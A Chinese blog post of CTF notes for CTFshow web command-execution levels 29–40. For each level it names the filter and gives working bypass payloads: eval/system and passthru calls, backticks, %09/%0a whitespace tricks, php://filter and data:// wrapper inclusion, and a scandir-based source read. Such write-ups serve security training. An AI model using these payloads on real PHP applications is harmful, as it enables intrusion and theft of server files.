前言
直接冲
![图片[1],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119103414616.png?imageView2/0/format/webp/q/75)
Web29
![图片[2],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118124346998.png?imageView2/0/format/webp/q/75)
![图片[3],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118124537793.png?imageView2/0/format/webp/q/75)
error_reporting(0)先忽略错误
isset检查是否传参
传参c参数 如果匹配没有flag(i的意思是忽略大小写)
就可以执行eval函数,eval函数就不必介绍了吧
方法一:
使用tac读取文件 %20经过url编码是空格 *是匹配fla后所有的文件
?c=system("tac%20fla*");
![图片[4],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118130133774.png?imageView2/0/format/webp/q/75)
方法二:
把flag.php里的文件内容复制到别处
?c=system("cp fla*.php a.txt");
url编码后
?c=system("cp%20fla*.php%20a.txt");
![图片[5],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118142245638.png?imageView2/0/format/webp/q/75)
Web30
![图片[6],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118142351172.png?imageView2/0/format/webp/q/75)
![图片[7],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118142421417.png?imageView2/0/format/webp/q/75)
过滤了flag system以及php 并且忽略大小写
方法一:
忽略system可以用` ` 代替system进行执行命令 以及使用?进行占位
?c=`cp fla?.??? 1.txt`;
![图片[8],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118143234837.png?imageView2/0/format/webp/q/75)
当然用*也是可以的
![图片[9],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118143308245.png?imageView2/0/format/webp/q/75)
方法二:、
使用passthru代替system执行命令
?c=passthru("tac%20fla*");
![图片[10],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118143627629.png?imageView2/0/format/webp/q/75)
Web31
![图片[11],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118143735221.png?imageView2/0/format/webp/q/75)
![图片[12],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240118143749201.png?imageView2/0/format/webp/q/75)
过滤的更多了
过滤了flag system php cat sort shell 还有. 空格 以及单引号
单引号双引号等需要搭配\进行转义
方法一:
用上一靶场的passthru代替system执行命令
先看看该目录有什么
?c=passthru("ls");
![图片[13],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119002814699.png?imageView2/0/format/webp/q/75)
之后用%09绕过空格
?c=passthru("tac%09fla*");
或者
?c=passthru("tac%09fla*????");
![图片[14],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119003541633.png?imageView2/0/format/webp/q/75)
方法二:
跳板逃匿
先使用
?c=eval($_GET[1]);&1=phpinfo();
发现可以执行并且php没有被过滤
![图片[15],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119004705696.png?imageView2/0/format/webp/q/75)
所以我们可以直接查看flag
?c=eval($_GET[1]);&1=system("tac flag.php");
![图片[16],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119004934887.png?imageView2/0/format/webp/q/75)
Web32
![图片[17],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119005626343.png?imageView2/0/format/webp/q/75)
![图片[18],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119015144144.png?imageView2/0/format/webp/q/75)
过滤了flag system php cat sort shell . 单引号 ` echo ; 还有空格以及左括号也禁掉了
方法一:
使用文件包含并且远程读取
%0a是换行符用于跳过空格 %09也可以跳过
后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
![图片[19],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119060519495.png?imageView2/0/format/webp/q/75)
解码一下得到flag
![图片[20],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119082731205.png?imageView2/0/format/webp/q/75)
Web33
![图片[21],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119083221943.png?imageView2/0/format/webp/q/75)
![图片[22],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119083246379.png?imageView2/0/format/webp/q/75)
比上一个多过滤了一个双引号
方法一与Web32相同
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
![图片[23],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119083515893.png?imageView2/0/format/webp/q/75)
方法二:
使用require包含执行
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
![图片[24],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119085543264.png?imageView2/0/format/webp/q/75)
也可以解码一下就可以了
Web34
![图片[25],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119085259935.png?imageView2/0/format/webp/q/75)
![图片[26],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119085340337.png?imageView2/0/format/webp/q/75)
又多过滤一个冒号
上一把的解法在这一关同样适用
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
![图片[27],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119105548709.png?imageView2/0/format/webp/q/75)
Web35
![图片[28],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090200504.png?imageView2/0/format/webp/q/75)
![图片[29],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090221742.png?imageView2/0/format/webp/q/75)
比之前多过滤了<以及=
方法一:
与之前一样
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
![图片[30],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090326295.png?imageView2/0/format/webp/q/75)
Web36
![图片[31],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090541197.png?imageView2/0/format/webp/q/75)
![图片[32],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090756425.png?imageView2/0/format/webp/q/75)
又把0-9给禁止了
把传入的参数改字母改成a即可
?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
![图片[33],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090731935.png?imageView2/0/format/webp/q/75)
Web37
![图片[34],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119090933265.png?imageView2/0/format/webp/q/75)
![图片[35],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119091009412.png?imageView2/0/format/webp/q/75)
使用Php data伪协议流
data伪协议数据流是URL编码,其目的是告诉服务器该URL的数据是一个简单的纯文本格式。
?c0=data://text/plain,<?=system('ls');?>
![图片[36],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119093652787.png?imageView2/0/format/webp/q/75)
让我们拿flag
?c=data://text/plain,<?=system('tac fla*');?>
![图片[37],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119093721219.png?imageView2/0/format/webp/q/75)
Web38
![图片[38],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119100301257.png?imageView2/0/format/webp/q/75)
![图片[39],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119100442829.png?imageView2/0/format/webp/q/75)
过滤了php
用上一关的方法data伪协议可以过
?c=data://text/plain,<?=system('tac fla*');?>
![图片[40],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119100607638.png?imageView2/0/format/webp/q/75)
Web39
![图片[41],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119100937842.png?imageView2/0/format/webp/q/75)
![图片[42],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119100929193.png?imageView2/0/format/webp/q/75)
如果我们输入?c=data://text/plain,<?=system(‘tac fla*’);?>
他会给我们添加成?c=data://text/plain,<?=system(‘tac fla*’);?>.php
但不影响前面代码执行
上一把的方法直接过
?c=data://text/plain,<?=system('tac fla*');?>
![图片[43],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119101027513.png?imageView2/0/format/webp/q/75)
Web40
![图片[44],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119101421885.png?imageView2/0/format/webp/q/75)
![图片[45],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119101454403.png?imageView2/0/format/webp/q/75)
过滤了数字0-9 ~ \ @ # $ %^&*( -= + {} [] \ : . ‘ ” <> / >\还有() 不过是中文括号
方法一:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())))用于获取当前区域信息
scandir扫描当前目录
array_reverse进行目录反转
next数组用于将指针移动下一个元素整理来说是获取反转目录列表后的第一个文件
show_source展现源代码
![图片[46],[CTFshow]Web命令执行章节之[29-40]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240119102059786.png?imageView2/0/format/webp/q/75)
OK
暂无评论内容